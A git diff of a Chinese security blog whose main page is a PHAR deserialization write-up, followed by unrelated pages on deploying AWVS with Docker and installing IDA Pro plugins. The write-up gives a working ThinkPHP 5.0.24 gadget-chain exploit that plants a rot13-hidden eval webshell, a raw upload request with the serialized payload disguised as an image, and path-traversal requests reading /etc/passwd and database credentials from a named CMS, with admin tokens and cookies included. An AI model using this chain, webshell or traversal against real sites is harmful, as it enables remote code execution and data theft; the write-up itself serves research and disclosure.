我们看到,%ff直接没了,而是直接输出前面的的文件名,这个可以用来绕过一些正则匹配。原因就在于%ff在通过 url 传参时会被 url 解码,解码成了不可见字符,满足了basename函数对文件名的非ASCII值去除的特点,从而被删掉。

+

参考文献​

+

狼组安全团队公开知识库

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/代码审计/PHP/记录一次对PHAR反序列化的利用/index.html b/en/docs/个人知识库/代码审计/PHP/记录一次对PHAR反序列化的利用/index.html new file mode 100644 index 0000000..67b56c5 --- /dev/null +++ b/en/docs/个人知识库/代码审计/PHP/记录一次对PHAR反序列化的利用/index.html @@ -0,0 +1,182 @@ + + + + + +记录一次对PHAR反序列化的利用 | wjlin0 + + + + + + + +
作者修订时间
wjlin02025-03-03 16:42:30
+

记录一次对PHAR反序列化的利用

+

前半部分是抄的,不想总结了。主要看漏洞利用实例

+

1. 前言​

+

随着 Web 安全不断发展,反序列化漏洞已成为一种被广泛利用的攻击手段,特别是在 PHP 生态中。PHAR(PHP Archive)文件作为一种用于打包 PHP 应用程序的格式,其简便的封装方式和执行能力让它成为了攻击者青睐的目标。2015 年,Stefan Esser 在 Black Hat USA 2015 演讲中首次揭示了 PHP 中 PHAR 反序列化漏洞 的严重性。这一漏洞允许攻击者通过构造特制的恶意 PHAR 文件,绕过 PHP 内置的安全机制,执行任意代码,给 Web 应用带来了极大的风险。

+

尽管这一漏洞已经被公开多年,但它依然在某些情况下可以被有效利用,特别是对于缺乏适当输入验证和安全配置的应用程序。本文将深入探讨 PHAR 反序列化漏洞 的原理、发现过程以及实际利用方式,旨在帮助开发者和安全研究人员理解这一攻击模式并采取相应的防护措施。

+

除了unserialize()来利用反序列化漏洞之外,还可以利用phar文件以序列化的形式存储用户自定义的meta-data这一特性,扩大php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

+

2. phar反序列化漏洞​

+

2.1 phar描述​

+

PHAR(PHP Archive)是 PHP 的一个档案格式,它允许将多个 PHP 文件、资源和库打包成一个文件,类似于 Java 的 JAR 文件或 Python 的 ZIP 文件。通过使用 PHAR,开发者可以方便地将 PHP 程序和相关的资源打包成一个文件,方便分发和部署。

+

PHAR 文件是压缩的,可以包含 PHP 文件、图片、配置文件等,解压后直接可以运行。PHP 的内置扩展支持加载和执行 PHAR 文件内容。一般情况下,PHAR 文件可以通过 phar:// 协议直接访问。

+

PHAR 文件的常见用途包括:

+
    +
  • 将 PHP 程序或库打包为一个独立的文件,方便分发。
  • +
  • 作为应用程序的一个模块或插件。
  • +
  • 便于压缩和优化代码,减少文件数量。
  • +
+

2.2 phar文件的结构​

+

phar文件都包含以下几个部分:

+
1. stub
phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
2. manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
3. content
被压缩文件的内容
4. signature (可空)
签名,放在末尾。
+

2.3 生成一个phar文件​

+

php内置了一个phar类来处理相关操作。

+

注意:这里要将php.ini里面的phar.readonly选项设置为Off。并把分号去掉。

+

(如果你在命令行运行PHP文件还是无法生成成功,请使用php -v查看php版本并在修改指定版本的php.ini。)

+
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
+

执行这个php文件,会生成一个phar.phar文件。打开查看可以看到Meta-data的内容是以序列化的形式储存的。

+

shengchengpharphp.jpg

+

xuliehua.jpg

+

php在解析这个phar的时候,还会对meta-data数据进行一次反序列化。PHP底层代码:

+

phpdiceng.png

+

通过反序列化,我们就能够控制一些类的变量进行利用。

+

2.4 漏洞利用条件​

+
    +
  • +

    phar文件要能够上传到服务器端。

    +
  • +
  • +

    要有可用的反序列化漏洞利用链。

    +
  • +
  • +

    文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

    +
  • +
+

2.5 受影响的文件操作函数​

+
    +
  • fileatime
  • +
  • file_ put contents
  • +
  • fileinode
  • +
  • is_dir
  • +
  • is_readable
  • +
  • copy
  • +
  • filectime
  • +
  • file
  • +
  • filemtime
  • +
  • is_executable
  • +
  • is_writable
  • +
  • unlink
  • +
  • file_exists
  • +
  • filegroup
  • +
  • fileowner
  • +
  • is_file
  • +
  • is_writeable
  • +
  • stat
  • +
  • file_get_contents
  • +
  • fopen
  • +
  • fileperms
  • +
  • is_link
  • +
  • parse_ini_file
  • +
  • readfile
  • +
  • exif_thumbnail
  • +
  • exif_thumbnail
  • +
  • imageloadfont
  • +
  • imagecreatefrom***
  • +
  • hash_hmac_file
  • +
  • hash_file
  • +
  • hash_update_file
  • +
  • md5_file
  • +
  • sha1_file
  • +
  • get_meta_tags
  • +
  • get_headers(这个不太确定没试出来)
  • +
  • getimagesize
  • +
  • getimagesizefromstring
  • +
  • postgres
  • +
+
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
+

当然,pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能。

+
    +
  • mysql
  • +
+
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
+

再配置一下mysqld。

+
[mysqld]
local-infile=1
secure_file_priv=""
+

3. 漏洞的利用实例​

+

3.1 简单案例​

+
// phar.php
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> name='Threezh1'; //控制TestObject中的name变量为Threezh1
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
+
index.php
<?php
class TestObject {
public $name;

function __destruct()
{
echo $this -> name;
}
}
if ($_GET["file"]){
file_exists($_GET["file"]);
}
?>
+

使用php phar.php生成phar.phar文件。

+

访问:http://127.0.0.1/index.php?file=phar://phar.phar

+

返回:Threezh1。 反序列化利用成功。

+

example01.jpg

+

3.2 骑某 CMS v3.44.0​

+

3.2.1 利用思路​

+

下面都是本地登录后台测试

+

测试前需要找到以下几个利用点

+
    +
  • 有文件上传的点(随便一个点附件上传、图片上传)
  • +
  • 存在反序列化漏洞(Thinkphp v5.24.0 反序列化利用链)
  • +
  • 有一个触发反序列化的地方(\app\apiadmin\controller\Upgrade::download)
  • +
+

3.2.2 文件上传​

+

后台上传附件的点

+
POST /index.php?s=apiadmin/upload/attach HTTP/1.1
Host: 127.0.0.1
Content-Length: 1813
sec-ch-ua-platform: "macOS"
admintoken: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk3NzcwNTEsImV4cCI6MTc0NzU1MzA1MSwiaW5mbyI6eyJpZCI6MSwicm9sZV9pZCI6MX19.owTLJvtFv849uXzNkXmBhI7CITE9XDLTcsOopwnkU_M
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary45m5eoX47unvnRrB
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: */*
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/admin/
Accept-Encoding: gzip, deflate, br
Cookie: thyuu-season=true; device_id=22d7283634e042b8b533e97d0a2c800c; PHPSESSID=q75l1g7qt17b7b7arietc8vu5k; admin_lang=cn; home_lang=cn; navigation-treeClicked-Arr=%5B%5D; imgname_id_upload=1-250211151550F2.jpg; img_id_upload=; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_IS_UPHTML=0; admin-treeClicked-Arr=%5B%5D; admin-treeClicked_All=0; admin-arctreeClicked_All=0; admin-arctreeClicked-Arr=%5B1%2C2%5D; referurl=http%3A%2F%2F127.0.0.1%3A8000%2F; left_menu_2024=0; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26typeid%3D5%26lang%3Dcn; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=3; qscms_visitor=%7B%22utype%22%3A2%2C%22mobile%22%3A%2218111111111%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk1OTUzNTIsImV4cCI6MTc3MDgwNzM1MiwiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoyLCJtb2JpbGUiOiIxODExMTExMTExMSJ9fQ.8tO7sMrNWFTm6HfmP72Ujd-cDUGqOSUSRH6JT5et5BA%22%7D; qscms_access_export=1; qscms_access_delete=1; qscms_access_set_service=1
Connection: keep-alive

------WebKitFormBoundary45m5eoX47unvnRrB
Content-Disposition: form-data; name="file"; filename="poc.jpg"
Content-Type: image/jpeg

GIF<?php __HALT_COMPILER(); ?>
����������������O:27:"think\process\pipes\Windows":1:{s:34:"�think\process\pipes\Windows�files";a:1:{i:0;O:17:"think\model\Pivot":5:{s:6:"parent";O:20:"think\console\Output":2:{s:9:"�*�styles";a:7:{i:0;s:7:"getAttr";i:1;s:4:"info";i:2;s:5:"error";i:3;s:7:"comment";i:4;s:8:"question";i:5;s:9:"highlight";i:6;s:7:"warning";}s:28:"�think\console\Output�handle";O:30:"think\session\driver\Memcached":1:{s:10:"�*�handler";O:23:"think\cache\driver\File":2:{s:10:"�*�options";a:4:{s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:79:"php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG['n']); ?>/../a.php";s:13:"data_compress";b:0;}s:6:"�*�tag";s:2:"xx";}}}s:9:"�*�append";a:1:{s:4:"test";s:8:"getError";}s:7:"�*�data";a:1:{s:7:"panrent";s:4:"true";}s:8:"�*�error";O:27:"think\model\relation\HasOne":5:{s:5:"model";b:0;s:15:"�*�selfRelation";b:0;s:9:"�*�parent";N;s:8:"�*�query";O:14:"think\db\Query":1:{s:8:"�*�model";O:20:"think\console\Output":2:{s:9:"�*�styles";a:7:{i:0;s:7:"getAttr";i:1;s:4:"info";i:2;s:5:"error";i:3;s:7:"comment";i:4;s:8:"question";i:5;s:9:"highlight";i:6;s:7:"warning";}s:28:"�think\console\Output�handle";O:30:"think\session\driver\Memcached":1:{s:10:"�*�handler";O:23:"think\cache\driver\File":2:{s:10:"�*�options";a:4:{s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:79:"php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG['n']); ?>/../a.php";s:13:"data_compress";b:0;}s:6:"�*�tag";s:2:"xx";}}}}s:11:"�*�bindAttr";a:1:{s:2:"xx";s:2:"xx";}}s:8:"�*�model";s:4:"test";}}}���test.txt���d�g��� ~ؤ������testUxGb9#2P;�T) �"�������GBMB
------WebKitFormBoundary45m5eoX47unvnRrB--

+

3.2.3 存在反序列化利用链​

+

thinkphp v5.0.24 存在一个利用链能够直接rce

+

image-20250303154302954

+

poc

+
<?php
namespace think\cache\driver;

class File {
protected $options = [];
protected $tag;
public function __construct() {
$this->tag = 'gg';
$this->options = [
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[\'n\']); ?>/../a.php',
'data_compress' => false
];
}
}

namespace think\session\driver;
use think\cache\driver\File;

class Memcached {
protected $handler;
function __construct() {
$this->handler=new File();
}
}

namespace think\console;
use think\session\driver\Memcached;

class Output {
protected $styles = [];
private $handle;
function __construct() {
$this->styles = ["getAttr", 'info',
'error',
'comment',
'question',
'highlight',
'warning'];
$this->handle = new Memcached();
}
}

namespace think\db;
use think\console\Output;

class Query {
protected $model;
function __construct() {
$this->model = new Output();
}
}

namespace think\model\relation;
use think\console\Output;
use think\db\Query;

class HasOne {
public $model;
protected $selfRelation;
protected $parent;
protected $query;
protected $bindAttr = [];
public function __construct() {
$this->query = new Query("xx", 'think\console\Output');
$this->model = false;
$this->selfRelation = false;
$this->bindAttr = ["xx" => "xx"];
}}

namespace think\model;
use think\console\Output;
use think\model\relation\HasOne;

abstract class Model {
}

class Pivot extends Model {
public $parent;
protected $append = [];
protected $data = [];
protected $error;
protected $model;

function __construct() {
$this->parent = new Output();
$this->error = new HasOne();
$this->model = "test";
$this->append = ["test" => "getError"];
$this->data = ["panrent" => "true"];
}
}

namespace think\process\pipes;
use Phar;
use think\model\Pivot;

class Windows {
private $files = [];
public function __construct() {
$this->files=[new Pivot()];
}
}

$obj = new Windows();


$phar = new Phar('poc.phar');
$phar -> startBuffering(); //开始缓冲 Phar 写操作
$phar -> setStub('GIF'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //要压缩的文件
$phar -> setMetadata($obj); //将自定义meta-data存入manifest
$phar -> stopBuffering(); ////停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘



+

3.2.4 触发反序列化​

+

前面又在文中提到phar触发反序列的方式,与文件操作相关的。

+

\app\apiadmin\controller\Upgrade::download

+

image-20250303154918843

+

在这个方法中,首先会打开$path,就可直接触发反序列。

+

image-20250303155019679

+

而此时$path,没有经过任何处理,就被传入$file->download($path, $save_file, false);

+

image-20250303155124331

+

所以这里还一个漏洞就是任意文件读取,我们简单来利用一下

+
GET /index.php?s=/apiadmin/Upgrade/download&path=../../../../../../etc/passwd&timestamp= HTTP/1.1
Host: 127.0.0.1
sec-ch-ua-platform: "macOS"
admintoken: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk3NzcwNTEsImV4cCI6MTc0NzU1MzA1MSwiaW5mbyI6eyJpZCI6MSwicm9sZV9pZCI6MX19.owTLJvtFv849uXzNkXmBhI7CITE9XDLTcsOopwnkU_M
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: */*
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/admin/
Accept-Encoding: gzip, deflate, br
Cookie: thyuu-season=true; device_id=22d7283634e042b8b533e97d0a2c800c; PHPSESSID=q75l1g7qt17b7b7arietc8vu5k; admin_lang=cn; home_lang=cn; navigation-treeClicked-Arr=%5B%5D; imgname_id_upload=1-250211151550F2.jpg; img_id_upload=; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_IS_UPHTML=0; admin-treeClicked-Arr=%5B%5D; admin-treeClicked_All=0; admin-arctreeClicked_All=0; admin-arctreeClicked-Arr=%5B1%2C2%5D; referurl=http%3A%2F%2F127.0.0.1%3A8000%2F; left_menu_2024=0; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26typeid%3D5%26lang%3Dcn; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=3; qscms_visitor=%7B%22utype%22%3A2%2C%22mobile%22%3A%2218111111111%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk1OTUzNTIsImV4cCI6MTc3MDgwNzM1MiwiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoyLCJtb2JpbGUiOiIxODExMTExMTExMSJ9fQ.8tO7sMrNWFTm6HfmP72Ujd-cDUGqOSUSRH6JT5et5BA%22%7D; qscms_access_export=1; qscms_access_delete=1; qscms_access_set_service=1
Connection: keep-alive


+

随后访问http://127.0.0.1/upgrade/zip/passwd/passwd_.zip

+

即可获得/etc/passwd

+

image-20250303155254026

+

当然读数据库文件也是可以的

+
http://127.0.0.1/index.php?s=/apiadmin/Upgrade/download&path=../application/database.php&timestamp=
+

image-20250303155607673

+
http://127.0.0.1/upgrade/zip/database/database_.zip
+

image-20250303155634100

+

3.2.5 利用过程​

+

生成恶意的附件

+
<?php
namespace think\cache\driver;

class File {
protected $options = [];
protected $tag;
public function __construct() {
$this->tag = 'gg';
$this->options = [
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[\'n\']); ?>/../a.php',
'data_compress' => false
];
}
}

namespace think\session\driver;
use think\cache\driver\File;

class Memcached {
protected $handler;
function __construct() {
$this->handler=new File();
}
}

namespace think\console;
use think\session\driver\Memcached;

class Output {
protected $styles = [];
private $handle;
function __construct() {
$this->styles = ["getAttr", 'info',
'error',
'comment',
'question',
'highlight',
'warning'];
$this->handle = new Memcached();
}
}

namespace think\db;
use think\console\Output;

class Query {
protected $model;
function __construct() {
$this->model = new Output();
}
}

namespace think\model\relation;
use think\console\Output;
use think\db\Query;

class HasOne {
public $model;
protected $selfRelation;
protected $parent;
protected $query;
protected $bindAttr = [];
public function __construct() {
$this->query = new Query("xx", 'think\console\Output');
$this->model = false;
$this->selfRelation = false;
$this->bindAttr = ["xx" => "xx"];
}}

namespace think\model;
use think\console\Output;
use think\model\relation\HasOne;

abstract class Model {
}

class Pivot extends Model {
public $parent;
protected $append = [];
protected $data = [];
protected $error;
protected $model;

function __construct() {
$this->parent = new Output();
$this->error = new HasOne();
$this->model = "test";
$this->append = ["test" => "getError"];
$this->data = ["panrent" => "true"];
}
}

namespace think\process\pipes;
use Phar;
use think\model\Pivot;

class Windows {
private $files = [];
public function __construct() {
$this->files=[new Pivot()];
}
}

$obj = new Windows();


$phar = new Phar('poc.phar');
$phar -> startBuffering(); //开始缓冲 Phar 写操作
$phar -> setStub('GIF'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //要压缩的文件
$phar -> setMetadata($obj); //将自定义meta-data存入manifest
$phar -> stopBuffering(); ////停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘



+

这里吧 poc.phar,改成一个图片的后缀,就行了

+

image-20250303155733060

+

触发phar

+

image-20250303155920816

+

此时就会生成两个恶意的文件(啊,你问我为什么,thinkphp的链啊 看这里->我也不知道哪找的文章)

+

image-20250303160359764

+

最后再来一张

+

image-20250303160546641

+

3.3 某某CMS(提交官方了,暂时不让公布)​

+

4. 免责声明​

+

免责声明

+

本文所涉及的技术信息仅供安全研究与学习使用,旨在提升信息安全意识,帮助安全研究人员和开发者更好地理解和防范相关安全风险。

+

责任声明:

+
    +
  1. 本文所提供的信息仅供合法、合规的安全研究与学习使用,严禁用于任何非法目的。
  2. +
  3. 任何人不得利用本文提供的技术信息进行未经授权的攻击行为,包括但不限于渗透测试、恶意利用、数据泄露、破坏系统等。
  4. +
  5. 本文所述知识不得用于开发、传播、销售或使用任何形式的攻击性工具、自动化利用工具或恶意软件。
  6. +
  7. 作为本文的唯一作者,我不支持、不鼓励、不参与任何形式的网络攻击行为。若使用本文所述信息进行攻击或其他恶意活动,行为人应对其行为及其后果负责,我不承担任何法律责任。
  8. +
  9. 我不对任何由于使用或误用本文信息而造成的直接或间接损失承担任何责任。
  10. +
  11. 如果该技术信息涉及特定厂商或软件,我建议相关方尽快进行安全加固,并呼吁读者遵守负责任的漏洞披露流程。
  12. +
  13. 所有涉及的漏洞信息已及时告知相关厂商,并建议他们进行修复和加固。
  14. +
+

法律合规提醒:

+

请确保您在遵守相关法律法规的前提下使用本文信息。如有任何疑问,请咨询专业法律人士或相关机构。

+

5. 参考​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/公众号文章/Docker 快速部署最新版Awvs/index.html b/en/docs/个人知识库/公众号文章/Docker 快速部署最新版Awvs/index.html new file mode 100644 index 0000000..c4b1120 --- /dev/null +++ b/en/docs/个人知识库/公众号文章/Docker 快速部署最新版Awvs/index.html @@ -0,0 +1,51 @@ + + + + + +Docker快速部署最新版Awvs | wjlin0 + + + + + + + +

Docker快速部署最新版Awvs

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-11-09 02:45:27
+

大家好,我是 小王说安全!今天给大家带来的是 awvs的快速部署方式,docker部署,无需修改任何配置即可启动 Awvs。本文章使用的镜像是在secfa/docker-awvs,支持通过环境变量注入账户和密码,默认中文。用到的安装包、镜像、以及docker-compose.yml,均已放在百度网盘,具体可在文章末尾获取下载地址。好了废话不多说我们正式开始

+

image-20251109023655720

+

Docker 安装​

+
+

如果你已经安装了docker 可直接跳过该步骤。

+
+

macOS

+
brew install --cask docker
+

Linux

+
curl -fsSL https://get.docker.com -o get-docker.sh | sh
+

Windows

+
+

从网盘中取出 docker 安装包,并双击安装

+
+

Awvs 安装​

+

从网盘中,获取awvs目录下的docker-compose.yml

+
cd awvs
docker compose build
# 修改 文件中的 登录账号和密码
docker compose up -d
+
# 访问 URL 并使用账户密码登录系统

https://127.0.0.1:13443/#/
+

image-20251109015039560

+

总结​

+

我在secfa/docker-awvs,镜像上走了修改,支持通过环境变量修改账户密码,并且默认登录为中文;如果你想获取该docker-compose.yml,请关注公众号,关键字回复【20251110】

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/公众号文章/IDA Pro 9.0 中文稳定版,一键安装&插件全攻略/index.html b/en/docs/个人知识库/公众号文章/IDA Pro 9.0 中文稳定版,一键安装&插件全攻略/index.html new file mode 100644 index 0000000..e436daa --- /dev/null +++ b/en/docs/个人知识库/公众号文章/IDA Pro 9.0 中文稳定版,一键安装&插件全攻略/index.html @@ -0,0 +1,192 @@ + + + + + +IDA Pro 9.0 中文稳定版,一键安装&插件全攻略 | wjlin0 + + + + + + + +

IDA Pro 9.0 中文稳定版,一键安装&插件全攻略

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-11-05 12:31:00
+

免则声明:本公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权转载和其他公众号白名单转载,如需转载,联系作者开白。

+

文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

+

一、安装IDA9.0中文版​

+

前提是需要安装插件中的 python包:python-3.11.9-amd64.exe

+

image-20250917000529663

+

然后再安装IDA Professional 9.0中文版

+

image-20250917000136174

+

image-20250917000208749

+

image-20250917000342621

+

image-20250917000444125

+

二、IDA插件安装​

+

1.IDA Feeds插件安装​

+

进入idalib目录,然后使用以下命令进行安装:

+
pip install ../idalib/python/.
+

image-20250916213758547

+
python . . / idalib/python/py-activate-idalib.py
+

image-20250916215342914

+
pip install -r ../plugins/ida_feeds/requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
+

image-20250916215427977

+

插件在Edit>plugins>IDA Feeds启动

+

2.LazyIDA插件安装​

+

将ida中数据快速导出为多种格式,convert快速提取数据等

+

将LazyIDA.py复制到plugins目录下即可(https://github.com/L4ys/LazyIDA)

+

image-20250917134443405

+

image-20250916224356420

+

3.keypatch9.0插件安装​

+

patch指令方便

+

前提是需要安装 keystone-engine和six python库,使用以下命令进行安装:

+
pip install keystone-engine -i https://mirrors.aliyun.com/pypi/simple/

pip install six -i https://mirrors.aliyun.com/pypi/simple/
+

将Keypatch.py复制到plugins目录下即可

+

image-20250917134622103

+

image-20250916224641481

+

4.patching插件安装​

+

二进制指令集补丁工具,比keypatch好用些

+
https://github.com/gaasedelen/patching
+

image-20250917134726193

+

将Patching文件夹和Patching.py复制到plugins目录下即可

+

5.auto-enum插件安装​

+

自动恢复常见api的枚举变量

+

下载后将项目plugin目录内的所有文件:

+

image-20250917134820295

+
enumlib

auto_enum.py

ida-plugin.json
+

复制到ida/plugins下即可

+

6.hrtng插件安装​

+

注:如果安装了Hrtng可以不安装D810插件

+

高亮括号,重定义关键函数声明,栈字符串识别,反ollvm等功能

+
https://github.com/KasperskyLab/
+

下载release包后解压,复制plugins/windows/9.0/hrtng.dll到ida/plugins目录下即可

+

7.classinformer插件安装​

+
https://github.com/herosi/classinformer
+

反编译C++的时候需要用到,可以根据RTTI等信息综合恢复类Class的相关信息,例如继承信息,类名等。

+

下载release包后将Classinformer64.dll复制到ida/plugins目录下即可

+

8.deREferencing插件安装​

+

这个是调试里面用的,它可以追踪某一个地址指向什么,这样就可以知道寄存器或是内存地址到底指向谁,有什么意义

+
https://github.com/danigargu/deREferencing
+

调试时使用,追踪栈和寄存器指向的内容

+

将dereferencing.py和dereferencing文件夹复制到ida/plugins即可

+

9.IDA-DataExportPlus插件安装​

+

IDA本身自带一个导出功能,但是有点鸡肋,本插件可将导出数据进行格式的自定义

+
https://github.com/Krietz7/IDA-DataExportPlus
+

shift+e 数据提取强化版,将DataExportPlus.py复制到plugins目录下即可

+

10.findhash插件安装​

+

项目地址

+
https://github.com/Pr0214/findhash
+

该插件可以搜索出被魔改的哈希算法

+

把findhash.xml和findhash.py复制到ida/plugins目录下即可

+

11.WPeChatGP插件安装​

+

将requirements.txt和wpechatgpt.py以及auto-wpegpt_wpeace复制到ida/plugins目录下

+

image-20250917134934100

+

然后运行如下命令安装所需包

+
 pip install -r ./requirements.txt
+

image-20250916233527145

+

修改脚本 WPeChatGPT.py,添加 API key 到变量 openai.api_key。(后面会写如何对其API进行申请)

+

这里需要修改plugin_name以及model和cilent参数进行修改

+

image-20250916235303441

+

最后重启 IDA 后即可使用

+

image-20250917000812789

+

这里注册抖音的API(将注册好的API填入到配置文件即可)

+
https://console.volcengine.com/ark/region:ark+cn-beijing/model?vendor=Bytedance&view=DEFAULT_VIEW
+

立即体验默认提供GUI界面,选择API接入

+

API接入

+

创建API Key,名称任意,创建后复制并保存API Key,后续使用模型依赖该Key(注意不要泄露)

+

APIKey

+

之后选择自定义推理接入点>创建推理接入点

+

创建推理接入点

+

自行设置接入点名称,模型,确认接入

+

img

+

选择模型

+

选择模型

+

创建好后复制模型id和之前的API Key

+

模型id

+

image-20250916235303441

+

12.HexRaysCodeXplorer插件安装​

+

自动识别结构体,显示C++虚函数,生成函数结构树等

+

https://www.52pojie.cn/forum.php?mod=viewthread&tid=1999905&highlight=HexRaysCodeXplorer

+

将HexRaysCodeXplorer64.dll直接复制到plugins目录下即可

+

image-20250917091822509

+

13.DA-DataExportPlus插件安装​

+

https://github.com/Krietz7/IDA-DataExportPlus

+

一个用于导出数据的IDA PRO插件,它可以替换IDA Pro原始的数据导出窗口。 该插件支持基于不同数据类型的数据导出,包括不同大小的整数和浮点类型。除此之外也支持导出汇编代码。

+

将dataexportplus.py复制到IDA插件目录下即可

+

使用方法

+

使用快捷键Shift+E以唤出插件窗口

+

14.findcrypt-yara 插件安装​

+

常见加密算法识别

+
https://github.com/polymorf/findcrypt-yara
+

将findcrypt3.py和findcrypt3.rules复制到ida/plugins目录下

+

image-20250917093529299

+

然后在python的安装目录下的\Lib\site-packages下会有一个yara.cp310-win_amd64.pyd文件,将该文件复制到`\IDA\python\lib-dynload下,然后重启IDA即可生效。

+

image-20250917093722785

+

image-20250917093743407

+

15.VulFi插件安装​

+

VulFi,即“漏洞发现者”,它是一个IDA Pro插件,可以帮助广大研究人员在二进制文件中查找漏洞

+
https://github.com/Accenture/VulFi
+

将vulfi.py、vulfi_prototypes.json和vulfi_rules.json文件放在ida/plugins目录下

+

image-20250917095110444

+

16.SigMaker插件安装​

+

用于快速创建某一个函数的字节序列(函数签名),可用于二进制程序之间的相似函数识别。

+

将SigMaker9_64.dll文件复制到ida/plugins目录下即可

+

image-20250917100448128

+

17.idaclu插件安装​

+

大量函数中可以对函数进行分类,这样就可以知道哪些函数不太平常,有助于快速定位关键函数。

+
https://codeload.github.com/harlamism/IdaClu/zip/refs/tags/v1.1
+

将 idaclu.py 文件和 idaclu 文件夹复制到 IDA Pro 插件目录即可

+

image-20250917101031082

+

18.bindiff插件安装​

+

将binexport12_ida64.dll和bindiff8_ida64.dll复制到ida/plugins即可

+

image-20250917102521421

+

image-20250917102547530

+

19.ida-pro-mcp插件的安装和使用​

+

前提条件需要安装Git-2.51.0-64-bit

+

image-20250917111923808

+

2.进入python311目录并打开终端

+

安装MCP

+
 python.exe -m pip install --upgradegit+https://github.com/mrexodia/ida-pro-mcp
+

image-20250917111834454

+

进入IDAPython的Scripts目录运行ida-pro-mcp.exe进行安装

+

image-20250917112116820

+

前提需要安装过vs code和cline

+

这里直接安装VSCodeUserSetup-x64-1.104.0.exe就行

+

image-20250917122916258

+

然后输入以下地址

+

